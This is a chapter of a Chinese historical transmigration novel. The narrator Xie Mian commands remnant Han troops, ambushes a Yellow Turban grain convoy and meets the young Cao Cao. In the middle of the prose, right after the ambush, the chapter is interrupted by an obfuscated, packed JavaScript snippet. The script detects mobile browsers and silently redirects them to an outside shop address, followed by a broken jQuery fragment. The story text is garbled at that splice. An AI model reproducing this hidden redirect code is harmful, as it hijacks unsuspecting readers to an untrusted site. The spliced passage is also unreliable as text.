退到长社以南十里,谢眠才让队伍停下。

    三面有林,一面开阔,地方不大,却也容得下他们这些残兵败将。

    唯一要担心的居然还是火攻。

    谢眠极快地牵了下唇角。

    零零碎碎凑起来小一千人,万不得已时倒也勉强够足一战之力,比他预料中要好一些。

    王七带着骑兵去四周巡视了,步兵借这个机会就地扎营,伤兵被同伴们暂时抬到背风处,有人开始烧水、有人开始挖灶。

    谢眠没有歇,他找了一块大石坐下来,然后从怀里摸出薄薄一沓纸喊来伍长开始记。

    骑兵折损四人,伤了快十匹马;步兵折得多,九十七人,还有不少伤的。

    他问阵亡者的名字,收获了一群诸如张三李四大虎的名字;他问姓是哪个姓,他们支支吾吾地答不出来。

    也是,也是,这世道若识得的字多了,怎么还会当个普通小兵呢?

    识文断字、经史子集,这一切在很长时间里会被门阀垄断,但他无力对此做出任何改变。

    ——九品中正、家世论人,在他看来曹丕称帝还是走得太急了。

    世家大族的支持让他得以更顺利地当上帝王,但世家被养大了,可就再按不下去了啊。

    谢眠叹了一声,笔下不停,仍旧记了籍贯、长相等被指认的特征。

    他太知道了,如今他记得再细致又如何?史书上不会记有他们的名字,死的人再多都不过冷冰冰一个数字而已——《春秋》是这样的,《史记》是这样的,他自己原本也是如此记的。

    史书是英雄的史书,乏善可陈的一生不值得被记录、流传。

    但他如今就是想让活着的人记着他们。

    至少他应该还能记得。

    王七带着状态显然好转的朱儁过来时,谢眠还在写。

    朱儁站着看他写了一会儿,拍了拍他的肩。

    “你以前打过仗?”

    “没打过,但见过。”谢眠看墨迹干涸便把竹简卷好又重新收进怀里。

    他自己知道他曾无数次见过郭嘉贾诩他们指点江山挥斥方遒,三言两语、谈笑风生间举重若轻地反转局势。

    他今日这些举措不过是学了个皮毛。

    朱儁没有再问,大约只是以为是谢眠读过兵书。

    他看着这个年轻人把站起来去看伤兵,言语间有所愧对;但他的眼神里有着审视和评估,显然没被冲昏头脑,还在思考后面的仗怎么打。

    朱儁想,他第一次跟着父兄出征的时候也不过约摸是这个年纪;但他那时候没这么稳,手足无措的,若不是有父亲恐怕都回不来。

    而这个年轻人是沉的,好像什么东西都压得住似的。

    他摇了摇头,可是啊,慧极必伤。

    夜里,谢眠坐在营帐里,一下子却睡不着。

    外面有人在低声说话、有人在哭。他听见王七在训斥一个士兵:“哭什么哭,留着力气明天杀贼。”

    哭声停了,但抽噎声还断断续续的。

    谢眠没有出去。

    他知道他们不需要安慰,需要的是有人能站出来稳定局势,坚定地告诉他们下一步怎么走,安慰在此刻只会滋生软弱,软弱会带来更多的伤亡。

    但现在朱儁伤重,没法劳心耗神;他没有经验,不知道自己能不能撑得住,可他必须撑住。

    第三天,斥候带回消息:黄巾军的粮草辎重正在从东南方向运来,守备不多。

    “多少人押送?”谢眠问。

    “大约三百。粮车不过十辆,应该是附近劫掠的小股队伍。”

    “怎么打?”王七问。

    他们的粮草不多了,快两千人的队伍,没补给不可能撑得下去。

    谢眠没有立刻回答。

    他闭上眼在脑海中勾勒出舆图,手指在空中顺着那条虚拟的运粮路划了一遍,蓦地停在一处拐弯的地方。

    那里两侧是低丘,丘上有灌木,可以藏人。路不宽,粮车过弯必然减速。

    他前世当然没有伏击过粮草,但他读过很多战报、听贾诩替他仔仔细细分析过,知道伏击的关键本不在兵力,而在时机和地形。

    他点了六百步兵,六十骑兵。

    不是多出彩的战术,甚至称得上和昨日谷中伏击一样的老套;他不确定自己的谋划能不能奏效,不知道这支队伍还能不能回来。

    所以他决意亲自带这一队,让王七留守营地、守着朱儁。

    ————

    伏击在午时打响。

    那是一小支零散的队伍,没有什么纪律,看上去比起黄巾贼更像寻常百姓。

    谢眠阖了阖眼。

    他们果然在弯道减速。

    骑兵们弯弓搭箭,而后冲进他们的队伍里求将他们打散;步兵们紧随其后,而他们的任务就是搏杀、是抢走粮草。

    谢眠不知道前世出现的曹操那股援军具体什么时候会到,而他现在赌不起驻军之地被发现的风险。

    所以他下的指令从最开便是剿灭,一个不留。

    几个黄巾兵悄悄往远处跑,谢眠在马上看见了;他没吭声,守在外围的骑兵冲出去,而人本不可能在平地与骑兵比拼速度。

    这就像一场围猎,谢眠想。猎人们守在外围,里面的猎物如何横冲直撞都跑不掉。

    他看见血色在远处炸开,他仿佛听见箭入肉、枪入骨,直到最后一声喊叫也断了。

    他只在心里数:五个,五声音色不同的惨叫,对上了。

    不到两刻战斗就结束了。

    粮车没毁掉,押运的黄巾军横七竖八躺了一地。谢眠的人伤了十几个,死了八个。他让人把阵亡者的遗体抬上,把还能用的粮草带上,让步兵们遣送回去。

    他看着满地的血色与残肢静默无言,驱马踏入其中,长枪挑起、翻过一具具尸体。

    一个不留。

    他的士兵们执行得很好,没有一个人的胸口还在起伏。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17685990|207806||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    他说不出自己是不是松了口气,最终把枪还了回去,举起手握成拳,示意骑兵们收队、回营。

    ——

    “约五千,骑兵约五百,打着骑都尉的旗号。”

    谢眠点了点头,他骑在马上,远远看见那支队伍的旗帜。那不是他前世看惯的“魏”字旗,是汉军的赤旗在风里猎猎作响。

    他想起前世第一次见曹操。

    那时候他还年轻,曹操却已是一方霸主,吞食了袁绍势力的他更是意气风发。

    他在帐中议事时站在角落,曹操坐在上首,看他眼生,问了问左右再问他:“会稽人?”

    他说是,那就是他们的初识。

    当年他年轻气傲,不屑于沾染乱世红尘,本更偏向于出世隐逸,自然不会主动去争取什么;而那时曹操账下已然文臣武将如雨,均是随他出生入死、立下无数功劳的,自然也不缺一个普普通通、出身吴地的青年文人。

    他在不知不觉中把自己推向了边缘化,这是与任何人的私交都难以弥补的。

    这一世,他不知道是否还会如此不咸不淡。

    他勒住马,等对方的斥候过来、等曹操过来。

    曹操比谢眠记忆中年轻得多。

    大约而立,身量不高;一身半旧的甲胄,甲片在阳光下泛着暗光。

    谢眠下马,理了理衣衫拱手:“骑都尉。在下朱车骑帐下,谢眠,字偃仰。”

    曹操翻身下马,动作利落,回了一礼:“久仰,早有耳闻。”

    是并不走心的客套话。谢眠做出判断。

    曹操的目光在谢眠脸上停了片刻,又看了看他身后那支队伍:人不多,但整齐,士气不低,不像败军、新兵,呈现出一种少见的气势。

    “朱车骑帐下果然能人辈出。”他这次是真心实意的。

    他看到谢眠也弯了嘴角矜持地笑了,一双眸子忽地亮了起来。

    谢眠不想在曹操面前表现得太积极,也不想显得太冷淡,但不自觉地流露出明显的自矜。

    ——这可是魏武帝,帐下能人辈出的曹孟德的夸赞,还是对他军事方面的肯定!

    这等待遇他可是第一次体会,分外有趣。

    曹操笑意越发深了,只觉得这个年轻人有趣。

    他咳嗽两声才压下笑意,恢复严肃:“长社现在如何?”

    “皇甫将军在城内,朱将军在城外,互为掎角。黄巾围城,但还没攻下来。”谢眠干脆地答道,“但朱将军需要养伤,将军来得正是时候。”

    他们往里走,谢眠引他去见朱儁。

    帐门口,曹操忽然问:“你字偃仰?”

    “是。”

    “‘或息偃在床’?”

    “是。”

    曹操又笑了一下。

    “哪有功夫偃仰?”

    “所以在下没有偃仰过。”谢眠似笑非笑扬起眉梢替他撩开了帘,“连‘眠’都不得安生呢。”

    “请进来吧。”